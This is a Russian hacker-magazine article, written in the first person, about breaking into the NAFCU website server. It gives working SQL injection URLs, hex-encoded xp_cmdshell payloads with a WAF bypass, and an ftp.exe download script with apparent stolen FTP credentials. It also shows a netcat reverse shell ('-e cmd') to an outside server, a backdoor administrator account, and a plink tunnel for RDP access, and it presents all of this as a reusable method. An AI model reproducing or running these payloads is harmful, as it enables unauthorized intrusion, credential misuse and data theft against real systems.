Содержание статьи
В предыдущей статье
было продемонстрировано, как тривиальная инъекция может привести к гибели
сервера, а точнее, к получению контроля над ним злоумышленником. Тогда мне в
значительной степени повезло, так как доступ к БД через скуль открывал завесу к
паролям от FTP. Классика создания сиквела требует сохранить атмосферу и развить
сюжет. Поэтому теперь мы научимся работать с xp_cmdshell и преодолевать
сопротивление WAF. И все во имя той же цели - заполучить админский доступ к
серверу по RDP.
Причины кризиса
В первой части я препарировал сайт ism.ws, который сложно отнести к когорте
особо интересных. Чтобы у тебя не сложилось впечатления, что все описываемое -
полная лажа и применимо только на мелких и заброшенных ресурсах, в качестве цели
я выбрал более достойного кандидата. Поверь мне, инъекции и прочие уязвимости
есть на ресурсах разного масштаба, включая и очень раскрученные бренды. Надо
только уметь их найти и использовать.
Итак, знакомимся: герой дня - сайт "National association of federal credit
union", или NAFCU, расположенный по адресу www.nafcunet.org (www.nafcu.org) и
просто напрашивающийся на детальный анализ. Сайтец сделан довольно прилично,
можно даже сказать, радует глаз. Глядя на такие ресурсы, невольно думаешь, что и
с безопасностью здесь все в порядке, но реалии упорно твердят об обратном. Перед
тем как воспользоваться Гуглом, я решил проявить самостоятельность и провести
собственное расследование.
Расширения скриптов наводили на мысль, что в качестве движка выступает
ColdFusion (после опыта прошлого вторжения это радует). Буквально на третьей же
ссылке при подстановке кавычки я увидел ошибку на преобразование типов данных, а
уже четвертая исследованная ссылка открыла во всей красе эксплойтабельную
инъекцию с выводом ошибок и результатов запросов.
Безалаберность и халатность, с которой ведется проектирование и разработка
интернет-ресурсов многих финансовых организаций, заставляет задуматься о
качестве их работы в целом. Предлагаю всю вину за финансовый кризис возложить на
непрофессионализм американских буржуев и перейти к показательной карательной
операции на примере NAFCU.
Шаг 1. Разведка местности
По адресу nafcu.org/Template.cfm?Section=What_is_an_FCU_&Template=/ContentManagement/HTMLDisplay.cfm&ContentID=3842
мы имеем классическую инъекцию SQL-запросов. При подстановке кавычки получим
невероятно информативный вывод ошибки ColdFusion, в который транслируется ошибка
SQL - [Microsoft][ODBC SQL Server Driver][SQL Server]Line 4: Incorrect syntax
near. Очевидно, что дело придется иметь с SQL-сервером от мелкомягких.
Разведку начнем проводить в направлении определения параметров БД и самого
сервера. Для этого прощупаем скрипт запросом вида:
nafcu.org/Template.cfm?Section=What_is_an_FCU_&
Template=/ContentManagement/HTMLDisplay.cfm&
ContentID=38427+and+1=0+or+1=(select+char(108)%2b
cast(0x746869736973736570617261746F72+as+varchar(200))%2b
cast(replace(@@version,char(10),char(32))+as+varchar(200))%2b
cast(0x746869736973736570617261746F72+as+varchar(200))%2b
cast(db_name()+as+varchar(200))%2b
cast(0x746869736973736570617261746F72+as+varchar(200))%2b
cast(system_user+as+varchar(200))%2b
cast(0x746869736973736570617261746F72+as+varchar(200))%2b
cast(@@servername+as+varchar(200))%2b
cast(0x746869736973736570617261746F72+as+varchar(200))%2bchar(108))--
Все сложилось на редкость удачно - сработала ошибка на преобразование типов,
и в результате получена идентификационная информация:
- сервер - Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005
23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on
Windows NT 5.0 (Build 2195: Service Pack 4); - пользователь - sa.
Пользователь sa! Ну, ни фига себе. В одном из изи-хаков я писал о
процедуре xp_cmdshell
(вернее, о способе ее активации в SQL Server 2005), которая предоставляет
возможность работы с ОС от имени учетки SQL-сервера (в большинстве случаев -
system). Там же я писал, что приложения, работающие от sa, не так уж и редки. Не
поверил тогда - убедись сейчас :).
После того, как было получено имя учетки, все мое внимание сосредоточилось
вокруг процедуры xp_cmdshell.
Шаг 2. Подготовительные действия
Возвращаясь к изи-хаку, напомню, что процедура xp_cmdshell в 2005 сервере по
умолчанию отключена, но ее можно включить, имея привилегии sysadmin. Для этого
нужно лишь воспользоваться процедурой sp_configure. Мы же работаем с сервером
2000, в котором этого функционала нет. Однако xp_cmdshell может быть отключена
администратором с помощью процедуры sp_dropextendedproc. Но раз она может быть
отключена, значит, мы можем ее и включить. Разницы никакой нет - разрабы
накосячили в 2000, накосячили и потом!
Честно скажу, вначале я не думал, что процедура недоступна. Я долго и упорно
составлял разные зловещие запросы, пока не додумался ее включить. Для этого
необходимо применить процедуру sp_addextendedproc и дополнительно знать название
библиотеки, которая эту самую xp_cmdshell реализует. Ты знаешь? Я да:
xplog70.dll. Дабы не захламлять любимый журнал, далее в примерах запросов я буду
опускать путь до уязвимого параметра.
Сперва я попробовал в лоб:
; exec master..sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'--
Результат запроса поставил меня в тупик, так как, собственно, никакого
результата и не было. Не было вообще ничего, сервер просто сбросил соединение.
"Вот те раз", - подумал я. "Вот тебе и два", - ответил сервер при попытке
обновить страницу. Видимо, был задействован фаер на уровне приложений, который
не пропускал строку xp_cmdshell в запросе. Запрос был тривиальный, так что
достаточно было просто представить строки в шестнадцатеричной кодировке:
; exec master..sp_addextendedproc0x78705f636d647368656c6c,0x78706c6f6737302e646c6c--
Появилась страничка без всяких ошибок. Это еще ни о чем не говорило, так что
я решил продублировать запрос и дико обрадовался: сервер выплюнул ошибку, что
объект уже зарегистрирован. Обрати внимание: при вызове sp_addextendedproc я
использовал контекст БД master. То же самое я буду делать и при вызове
xp_cmdshell. Советую поступать также, в противном случае - пеняй на себя.
Шаг 3. Обеспечиваем контроль местности
Зачетная вещь – xp_cmdshell, но работать с ней достаточно сложно, что и
отпугивает новичков. В результате, они опускаются до банальных вещей, так и не
добиваясь серьезных результатов. Сложность в том, что, инъектируя команду ОС, ты
не увидишь никакого результата. Фактически, приходится работать вслепую. Нет
никакого вывода команды, и ты даже не поймешь, выполнилась ли она вообще, и не
ошибся ли ты в синтаксисе. Но это на поверхности. А если подумать и вкурить в
MSDN, можно увидеть, что execute прекрасно уживается с insert и результат
выполнения можно занести в таблицу. Прочитать же данные из таблицы, имея
принтабельную инъекцию, думаю, труда не составит.
Таким образом, для обеспечения вывода результата будем использовать
конструкции вида:
insert into foo execute xp_cmdshell '<os_command>'
Где foo - таблица с единственным столбцом типа varchar. Такую таблицу надо
создать с помощью команды:
; create table foo(ret varchar(200))--.
Для контроля выполнения команд необходимо получать данные из таблицы foo. В
примитивном варианте достаточно смотреть, не изменилось ли количество записей,
для чего я держал в лисе отдельную вкладку с заряженной инъекцией:
and+1=0+or+1=(select+char(108)%2b
cast(0x746869736973736570617261746F72+as+varchar(200))%2b
cast(count(*)+as+varchar(200))%2b
cast(0x746869736973736570617261746F72+as+varchar(200))%2bchar(108)+from+foo)--
Шаг 4. Обеспечиваем скрытность
Весело открыв очередную банку кефира, я инъектировал код:
; insert into foo execute master..xp_cmdshell 'ipconfig'--
– и обломался. Все правильно, я забыл про WAF, который нужно как-то обойти. Я
попытался заменить все строки на их шестнадцатеричные представления, но из этой
затеи ничего не получилось. Не получилось, потому что строка master..xp_cmdshell
здесь выступала не в качестве параметра, а в качестве названия функции. "Вот
тебе и три", - отвечал WAF на все мои извращенные попытки.
Я полез в документацию и вскоре увидел, что execute может принимать название
функции в виде строки типа nvarchar. При подстановке же шестнадцатеричного
значения я передавал varchar. Сервер, тихо посмеиваясь, с честным видом выдавал
страницы без всякого намека на ошибки. Для реализации задуманного следовало
конвертить строку master..xp_cmdshell в nvarchar перед передачей ее на
исполнение. После недолгих мыканий родился следующий шаблон:
; declare @v as varchar(2048) declare @n as nvarchar(2048)
set @v = 0x6d61737465722e2e78705f636d647368656c6c
set @n = cast(@v as nvarchar)
set @v = <command_in_hex>
insert into foo execute @n @v--
где 0x6d61737465722e2e78705f636d647368656c6c - закодированное значение
master..xp_cmdshell.
Проверим на примере того же ipconfig:
; declare @v as varchar(2048) declare @n as nvarchar(2048)
set @v = 0x6d61737465722e2e78705f636d647368656c6c
set @n = cast(@v as nvarchar)
set @v = 0x6970636f6e666967
insert into foo execute @n @v--
Смотрим, сколько записей в foo; 10 - то, что надо.
Шаг 5. Составляем план действий
Итак, я получил способ выполнения команд в обход WAF. Теперь нужно было
покреативить и составить план дальнейших действий.
Результаты сканирования показали, что пробиться к серверу напрямую по RDP не
удастся. Наученный опытом прошлой схватки я набросал алгоритм:
- каким-то образом закинуть на сервак netcat и plink (естественно,
волшебной версии) - поднять на дедике nc в режиме прослушивания
- запустить на серваке nc в режиме коннекта и проброса командной строки
- создать и добавить нужного пользователя в нужную группу
- поднять на дедике SSH-сервер
- осуществить реверс-коннект на дедик с правильным маппингом портов
- на дедике подключиться по RDP к localhost:3390 и получить доступ к
удаленному рабочему столу - ввести логин и пароль нужного пользователя
- отключиться от сервера и написать статью в ][
Шаг 6. Внедрение агента
Первым делом следовало залить нужные файлы на сервер. В прошлый раз был
доступ к ftp, но здесь такого счастья мне не привалило. Пришлось задуматься над
использованием стандартных средств ОС, доступных из командной строки и
позволяющих скачивать файлы по сети. Немного подумай… - ну, конечно, это ftp.exe.
Продолжая тему сиквела, в качестве ftp-сервера я цинично использовал ism.ws.
Так как интерактивной сессии не было, следовало составить скрипт с командами
и скормить его клиенту. Синтаксис скрипта для ftp-клиента очень прост - в каждой
строчке по отдельной команде.
Для начала я набросал команды по созданию скриптов. Выполнять каждую по
отдельности не хотелось, и я использовал режим последовательного выполнения
команд cmd.exe с использованием амперсандов. Так, для скачивания nc.exe нужно
было выполнить:
mkdir %TEMP%\test &&
echo open ftp2.rd.net 21 >> %TEMP%\test\test.txt &&
echo USER ism.ws.prod.code jaWlUXkaZNNWFuzFb >> %TEMP%\test\test.txt &&
echo binary >> %TEMP%\test\test.txt &&
echo get tools\nc.exe %TEMP%\test\nc.exe >> %TEMP%\test\test.txt &&
echo quit >> %TEMP%\test\test.txt && ftp.exe -i -n -v -s:%TEMP%\test\test.txt
По выполнении этой команды в директории %TEMP%\test должен появиться файл
nc.exe. После кодирования и подстановки в шаблон был инъектирован код:
; declare @v as varchar(2048) declare @n as nvarchar(2048)
set @v = 0x6d61737465722e2e78705f636d647368656c6c
set @n = cast(@v as nvarchar)
set @v = 0x6d6b646972202554454d50255c5c7465737420262620
6563686f206f70656e20667470322e72642e6e6574203231203e3e2
02554454d50255c5c746573745c5c746573742e7478742026262065
63686f20555345522069736d2e77732e70726f642e636f6465206a6
1576c55586b615a4e4e5746757a4662203e3e202554454d50255c5c
746573745c5c746573742e747874202626206563686f2062696e617
279203e3e202554454d50255c5c746573745c5c746573742e747874
202626206563686f2067657420746f6f6c735c5c6e632e657865202
554454d50255c5c746573745c5c6e632e657865203e3e202554454d
50255c5c746573745c5c746573742e747874202626206563686f207
1756974203e3e202554454d50255c5c746573745c5c746573742e74
7874202626206674702e657865202d69202d6e202d76202d733a255
4454d50255c5c746573745c5c746573742e747874
insert into foo execute @n @v--
Для проверки выполняем команду dir %temp%\test:
; declare @v as varchar(2048) declare @n as nvarchar(2048)
set @v = 0x6d61737465722e2e78705f636d647368656c6c
set @n = cast(@v as nvarchar)
set @v = 0x6970636f6e666967
insert into foo execute @n @v--
Все ОК, nc.exe на месте. Точно так же заливаем plink.exe (можно было и в один
скрипт засунуть), только директорию создавать уже не надо.
Шаг 7. Закрепление
Далее нужно было запустить такие милые глазу команды, как net user и net
localgroup. Можно все делать через инъекцию, но при наличии netcat это уже не
имеет смысла. Поэтому на дедике я запустил nc.exe в режиме прослушивания порта
1234:
nc.exe -l -p 1234
Для реверс коннекта к деду и проброса шелла следовало выполнить команду:
%temp%\test\nc.exe m0r0.ded.com 1234 -e cmd
– со стороны сервака. После кодирования имеем следующий инъект:
; declare @v as varchar(2048) declare @n as nvarchar(2048)
set @v = 0x6d61737465722e2e78705f636d647368656c6c
set @n = cast(@v as nvarchar)
set @v = 0x2574656d70255c5c746573745c5c6e632e6578652
06d3072302e6465642e636f6d2031323334202d6520636d64
insert into foo execute @n @v-
Все прошло как нельзя гладко, и в консоли деда я увидел шелл подопытного
сервера. Воспользовавшись консолью, я активировал юзера support_388945a0 и
добавил его в группу администраторов:
net user support_388945a0 /active:yes m0r0pass
net localgroup administrators support_388945a0 /add
Шаг 8. Атака
Глотнув еще кефира, я запустил на деде SSH-сервер. На автомате в консоли
появилась команда для подключения по SSH. Классика проникновения:
%temp%\test\plink.exe -nc m0r0.ded.com:22 -batch -pw <pass>
-R 3390:127.0.0.1:3389 -L 3390:127.0.0.1:3390
-l <username> -auto_store_key_in_cache m0r0.ded.com
Сервак в наших руках, можно подключаться на 127.0.0.1:3990. После ввода
логина и пароля я оказался на территории врага. СУБД работала в режиме Windows
Authentication, так что получить доступ ко всем БД и слить дампы не составляло
труда. Развитие успеха я оставлю за кадром, предлагая включить фантазию.
Тяжело в учении
Окучивая NAFCU, я столкнулся со многими, казалось, непреодолимыми
трудностями. Это и активация xp_cmdshell, и обход WAF, и заливка файлов, и,
конечно, уже классический обход файра с помощью реверс-коннекта по SSH. Однако
суть не в этом. Прелесть в том, что это не уникальный баг, а типовая ситуация, и
все вышеописанное следует расценивать как методику. Имея в рукаве такие козыри,
как инъекция и доступ с правами sa, ты можешь не бояться за исход партии,
главное – умело ими воспользоваться. Все описанные действия были совершены под
музыку Бетховена. Слушай классику и будь счастлив.
Поиск инъекций
Простейший способ определения уязвимых параметров заключается в
подстановке кавычек в передаваемые значения. Собственно, таким образом и
были обнаружены уязвимости NAFCU. Не стоит зацикливаться исключительно на
кавычках. Во-первых, ошибки могут просто не выводиться. В этом случае при
подстановке кавычки ты тупо ничего не увидишь. Во-вторых, кавычки могут
экранироваться. Ошибки никакой не произойдет, а инъекция, тем не менее,
может присутствовать. Так, например, при переполнении целочисленных
параметров кавычки и вовсе не нужны. Наконец, параметр может быть уязвим к
слепым инъекциям. Подставлять кавычку здесь – это как ядерной боеголовкой по
муравейнику. Поэтому помимо кавычек я повсеместно использую конструкции "and
1=1--" и "and 1=0--", добавляя их к основному значению параметра в различных
вариациях. Стопроцентной гарантии нет, но в большинстве случаев при наличии
инъекции сервер будет возвращать разные результаты. Главное убедиться, что
основное значение параметра обеспечивает возврат каких-нибудь данных.
Отличие в результатах ты можешь увидеть на глаз. Но можешь и не увидеть,
если оно незначительно или не выводится браузером. В любом случае стоит
заглядывать в HTM-коды страниц и сравнивать их между собой. Вручную делать
это крайне неэффективно, поэтому советую задуматься о разработке средств
автоматизации.
Заливка по FTP
Получив возможность исполнять команды операционной системы и запускать
собственные бинарники, следует позаботиться о способе заливки файлов на
целевую систему. В *nix-средах проблема решается просто, так как в
большинстве из них по умолчанию доступен wget, а если и нет, то проблемы не
составит его доустановить. В винде wget'а нет, а для установки софта нужно
сначала залить дистрибутив. Извечная проблема курицы и яйца.
К счастью, в штатной поставке есть FTP-клиент, позволяющий работать с
внешними скриптами. Для скачки файлов нужно наполнить текстовый файл
FTP-командами и скормить его клиенту:
ftp.exe -i -n -v -s:<script_path>
При создании скрипта в большинстве случаев достаточно следующих
FTP-команд:
- open <server> <port> - устанавливает соединение с указанным
FTP-сервером;- user <username> [password] - позволяет указать учетные данные для
аутентификации;- binary - устанавливает двоичный режим передачи;
- get <remote-file> [local-file] - копирует удаленный файл на
локальную систему;- quit - закрывает FTP-сессию.
WWW
С уважением относись к документации. Большинство проблем, возникающих при
проведении инъекций на SQL Server, решаются после обращения к MSDN:
msdn.microsoft.com/en-us/library/ms187389.aspx.